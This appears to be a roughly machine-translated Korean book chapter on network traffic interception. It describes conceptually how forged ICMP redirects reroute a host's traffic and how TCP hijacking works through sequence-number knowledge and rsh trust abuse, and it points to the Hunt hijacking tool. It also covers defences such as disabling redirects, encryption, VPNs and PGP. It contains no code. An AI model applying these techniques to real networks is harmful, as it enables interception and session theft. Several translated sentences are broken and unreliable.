    네트워크 트래픽을 가로채기 위해 공격자는 위조된 ICMP 리디렉션 메시지 등을 사용하여 자신의 IP 주소로 네트워크 라우터의 실제 IP 주소를 스푸핑할 수 있습니다. 호스트 A는 RFC-1122에 따라 수신된 리디렉션 메시지를 다른 호스트(예: B)로 전송된 데이터그램에 대한 응답으로 인식해야 합니다. 호스트 A는 수신된 리디렉션 메시지의 내용을 기반으로 리디렉션 메시지에 대한 작업을 결정합니다. 그리고 새로운 경로를 따라 A에서 B로 리디렉션에 데이터그램 리디렉션이 지정된 경우 이것이 바로 호스트 A가 수행하는 작업입니다.

    잘못된 라우팅을 수행하려면 공격자는 호스트 A가 위치한 로컬 네트워크의 구성에 대한 세부 정보, 특히 호스트 A에서 B로 트래픽을 전송하는 라우터의 IP 주소를 알아야 합니다. 이를 알고 있는 공격자는 IP - 발신자 주소는 라우터의 IP 주소로 정의되고 수신자는 호스트 A인 IP 데이터그램을 생성합니다. 또한 데이터그램에는 새 라우터의 주소 필드가 다음으로 설정된 ICMP 리디렉션 메시지가 포함됩니다. 공격자 컴퓨터의 IP 주소. 이러한 메시지를 받은 호스트 A는 모든 메시지를 공격자 컴퓨터의 IP 주소로 보냅니다.

    이러한 공격으로부터 보호하려면 호스트 A에서 ICMP 리디렉션 메시지 처리를 비활성화(예: 방화벽 사용)해야 하며, Tracert 명령(Unix에서는 Tracerout 명령)을 사용하여 공격자 컴퓨터의 IP 주소를 밝힐 수 있습니다. . 물론 이러한 유틸리티는 네트워크 관리자가 경계하지 않는 한 설치 중에 제공되지 않은 로컬 네트워크에 나타나는 추가 경로를 찾을 수 있습니다.

    위의 차단 예(공격자의 능력이 크게 제한되지 않음)는 데이터에 기밀 정보가 포함되어 있는 경우 네트워크를 통해 전송되는 데이터를 보호해야 할 필요성을 확신시켜 줍니다. 네트워크 트래픽 가로채기를 방지하는 유일한 방법은 암호화 알고리즘과 암호화 프로토콜을 구현하고 비밀 정보의 공개 및 대체를 방지하는 프로그램을 사용하는 것입니다. 이러한 문제를 해결하기 위해 암호화는 보안 프로토콜을 통해 전송되는 메시지의 진위 여부를 암호화, 서명 및 확인하는 도구를 제공합니다.

    4장에 설명된 정보 교환을 보호하기 위한 모든 암호화 방법의 실제 구현은 VPN(가상 사설망) 네트워크에서 제공됩니다. 암호화 보안 원칙 및 기술에 대한 간략한 개요는 부록 E에서 확인할 수 있습니다. 상세 설명 PGP Desktop Security 애플리케이션(http://www.pgp.com)에서 제공하는 암호화 보호 도구입니다.

    TCP 연결 차단

    가장 정교한 네트워크 트래픽 차단 공격은 해커가 TCP 패킷을 생성하여 공격 대상 호스트에 전송함으로써 호스트와의 현재 통신 세션을 중단하는 TCP 연결 캡처(TCP 하이재킹)로 간주되어야 합니다. 다음으로, 해커는 중단된 TCP 연결을 복원하는 TCP 프로토콜의 기능을 사용하여 중단된 통신 세션을 가로채서 연결이 끊긴 클라이언트 대신 계속 진행합니다.

    TCP 연결 하이재킹 공격을 수행하기 위해 여러 가지 효과적인 유틸리티가 만들어졌지만 모두 Unix 플랫폼용으로 구현되었으며 웹 사이트에서는 이러한 유틸리티가 소스 코드 형식으로만 제공됩니다. 따라서 해킹의 숭고한 원인을 확신하는 실무자로서 TCP 연결 차단 방법을 사용한 공격은 우리에게 그다지 유용하지 않습니다. (다른 사람의 프로그램 코드를 이해하고 싶은 분들은 http://www.cri.cz/~kra/index.html 사이트를 참조하세요. 원천 Pavel Krauz의 잘 알려진 Hunt TCP 연결 차단 유틸리티입니다.

    실용적인 도구가 부족함에도 불구하고 TCP 연결 가로채기와 같은 흥미로운 주제를 무시할 수 없으며 이러한 공격의 몇 가지 측면에 대해 자세히 설명하겠습니다. TCP 패킷의 구조와 TCP 연결 설정 절차에 대한 일부 정보는 이 책의 부록 D에 제공되어 있지만 여기서는 해커가 TCP 연결 차단 공격을 수행할 수 있는 정확히 무엇인지에 대한 질문에 중점을 둘 것입니다. 주로 and의 토론을 바탕으로 이 주제를 더 자세히 고려해 보겠습니다.

    TCP 프로토콜(전송 제어 프로토콜)은 가상 통신 채널을 통해 논리적 연결을 설정할 수 있는 기본 OSI 전송 계층 프로토콜 중 하나입니다. 이 채널을 통해 패킷은 순서가 기록된 상태로 전송 및 수신되고, 패킷의 흐름이 제어되며, 왜곡된 패킷의 재전송이 구성되고, 세션이 끝나면 통신 채널이 끊어집니다. TCP 프로토콜은 고급 메시지 식별 및 연결 시스템을 갖춘 TCP/IP 계열의 유일한 핵심 프로토콜입니다.

    TCP 패킷을 식별하기 위해 TCP 헤더에는 시퀀스 번호와 승인 번호라고 하는 패킷 카운터 역할도 하는 두 개의 32비트 식별자가 있습니다. 우리는 또한 제어 비트라고 불리는 TCP 패킷의 또 다른 필드에 관심을 가질 것입니다. 이 6비트 필드에는 다음 제어 비트가 포함됩니다(왼쪽에서 오른쪽으로).

    URG - 긴급 플래그;

    ACK - 확인 플래그;

    PSH - 캐리 플래그;

    RST - 연결 재설정 플래그;

    SYN - 동기화 플래그;

    FIN - 연결 종료 플래그.

    TCP 연결을 생성하는 절차를 살펴보겠습니다.

    1. 호스트 A가 호스트 B와 TCP 연결을 생성해야 하는 경우 호스트 A는 호스트 B에게 다음 메시지를 보냅니다.

    A -> B: SYN, ISSa

    이는 호스트 A가 보낸 메시지에는 SYN 플래그(Synchronize Sequence Number)가 설정되어 있고, 시퀀스 번호 필드에는 초기 32비트 값 ISSa(Initial Sequence Number)가 설정되어 있음을 의미합니다.

    2. 호스트 A로부터 수신된 요청에 대한 응답으로 호스트 B는 SYN 비트와 ACK 비트가 설정된 메시지로 응답합니다. 시퀀스 번호 필드에서 호스트 B는 초기 카운터 값인 ISSb를 설정합니다. 그러면 승인 번호 필드에는 호스트 A로부터 첫 번째 패킷으로 수신된 ISSa 값이 1씩 증가하게 됩니다. 따라서 호스트 B는 다음 메시지로 응답합니다.

    B -> A: SYN, ACK, ISSb, ACK(ISSa+1)

    3. 마지막으로 호스트 A는 호스트 B에 다음과 같은 메시지를 보냅니다. ACK 비트가 설정됩니다. 시퀀스 번호 필드에는 ISSa + 1 값이 포함됩니다. 승인 번호 필드에는 ISSb + 1 값이 포함됩니다. 그 후 호스트 A와 B 사이의 TCP 연결이 설정된 것으로 간주됩니다.

    A -> B: ACK, ISSa+1, ACK(ISSb+1)

    4. 이제 호스트 A는 새로 생성된 가상 TCP 채널을 통해 호스트 B에 데이터 패킷을 보낼 수 있습니다.

    A -> B: ACK, ISSa+1, ACK(ISSb+1); 데이터

    여기서 DATA는 데이터를 의미합니다.

    위에서 설명한 TCP 연결 생성 알고리즘에서 TCP 가입자와 TCP 연결의 유일한 식별자는 시퀀스 번호와 승인 번호의 두 가지 32비트 매개변수인 ISSa와 ISSb라는 것을 알 수 있습니다. 따라서 해커가 ISSa 및 ISSb 필드의 현재 값을 알아낸다면 그가 위조된 TCP 패킷을 생성하는 것을 막을 수 있는 방법은 없습니다. 이는 해커가 주어진 TCP 연결에 대한 TCP 패킷의 ISSa 및 ISSb 매개변수의 현재 값만 선택하고 이 TCP 연결의 클라이언트를 대신하여 모든 인터넷 호스트에서 패킷을 보내면 된다는 것을 의미합니다. 올바른 것으로 인식됩니다!

    높은 수준의 FTP 및 TELNET 프로토콜은 TCP 프로토콜을 기반으로 구현되고 FTP 및 TELNET 패킷 클라이언트의 식별은 전적으로 TCP 프로토콜을 기반으로 하기 때문에 이러한 TCP 패킷 스푸핑의 위험도 중요합니다.

    또한, FTP나 TELNET 프로토콜은 메시지 발신자의 IP 주소를 확인하지 않기 때문에 위조된 패킷을 수신한 후 FTP나 TELNET 서버는 위조된 패킷에 명시된 해커 호스트의 IP 주소로 응답 메시지를 보낸다. 그 후, 해커 호스트는 자신의 IP 주소에서 FTP 또는 TELNET 서버 작업을 시작하지만 합법적으로 연결된 사용자의 권한을 갖고 해당 사용자는 카운터 불일치로 인해 서버와의 연결이 끊어집니다.

    따라서 위에서 설명한 공격을 수행하기 위한 필요충분조건은 TCP 연결을 식별하는 두 가지 현재 32비트 매개변수 ISSa 및 ISSb에 대한 지식입니다. 고려해 봅시다 가능한 방법그들을 받고 있습니다. 해커 호스트가 공격받은 네트워크 세그먼트에 연결된 경우 ISSa와 ISSb의 값을 얻는 작업은 간단하며 네트워크 트래픽을 분석하여 해결할 수 있습니다. 따라서 TCP 프로토콜은 원칙적으로 공격자가 전송되는 메시지를 가로채는 것이 불가능한 경우에만 연결을 보호할 수 있다는 점을 분명히 이해할 필요가 있습니다. 이 연결즉, 해커 호스트가 TCP 연결의 가입자 세그먼트와 다른 네트워크 세그먼트에 연결된 경우에만 해당됩니다.

    따라서 세그먼트 간 공격은 공격자와 그의 목표가 서로 다른 네트워크 세그먼트에 있을 때 해커에게 가장 큰 관심거리입니다. 이 경우 ISSa와 ISSb의 값을 구하는 작업은 쉽지 않습니다. 이 문제를 해결하기 위해 현재는 두 가지 방법만 발명되었습니다.

    ISSa 및 ISSb의 이전 값을 외삽하여 TCP 연결 매개변수의 초기 값을 수학적 예측합니다.

    Unix rsh 서버에서 TCP 연결 가입자 식별 취약점을 악용합니다.

    첫 번째 과제는 다양한 분야에서 TCP 프로토콜 구현에 대한 심층적인 연구를 통해 해결됩니다. 운영체제이제는 순전히 이론적 의미를 갖습니다. 두 번째 문제는 취약점을 사용하여 해결됩니다. 유닉스 시스템신뢰할 수 있는 호스트를 식별하여. (주어진 호스트 A에 대해 신뢰할 수 있는 네트워크 호스트 B는 사용자가 호스트 A의 r-service를 사용하여 인증 없이 호스트 A에 연결할 수 있습니다.) 해커는 TCP 패킷의 매개변수를 조작하여 신뢰할 수 있는 호스트로 가장하고 공격받은 호스트와의 TCP 연결을 가로챌 수 있습니다.

    이 모든 것은 매우 흥미롭지만 이러한 종류의 연구의 실제 결과는 아직 눈에 띄지 않습니다. 따라서 우리는 이 주제를 더 깊이 탐구하고 싶은 모든 사람에게 위에 제시된 정보를 주로 가져온 책을 참조할 것을 권고합니다.

    결론

    네트워크 데이터를 가로채는 것은 네트워크 해킹의 가장 효과적인 방법으로, 해커가 네트워크에 유통되는 거의 모든 정보를 손에 넣을 수 있게 해준다. 스니핑 도구를 통해 가장 실용적인 개발이 이루어졌습니다. 네트워크 청취; 그러나 트래픽을 해커 호스트로 리디렉션하기 위해 네트워크의 정상적인 기능을 방해하여 수행되는 네트워크 데이터를 가로채는 방법, 특히 TCP 연결을 가로채는 방법을 무시할 수는 없습니다. 그러나 실제로 마지막에 언급된 방법은 아직 충분한 개발이 이루어지지 않았으며 개선이 필요합니다.

    해커 방지자는 데이터 가로채기로부터 유일한 구원은 암호화라는 점을 알아야 합니다. 암호화 보호 방법. 네트워크를 통해 메시지를 보낼 때는 네트워크의 케이블 시스템이 절대적으로 취약하며 네트워크에 연결된 모든 해커가 전송된 모든 비밀 메시지를 포착할 수 있다는 점을 미리 가정해야 합니다. 이 문제를 해결하려면 VPN 네트워크를 생성하고 메시지 자체를 암호화하는 두 가지 기술이 있습니다. 이러한 모든 작업은 PGP Desktop Security 소프트웨어 패키지를 사용하여 매우 쉽게 해결할 수 있습니다(예를 들어 설명은 다음에서 찾을 수 있습니다).



    
    맨 위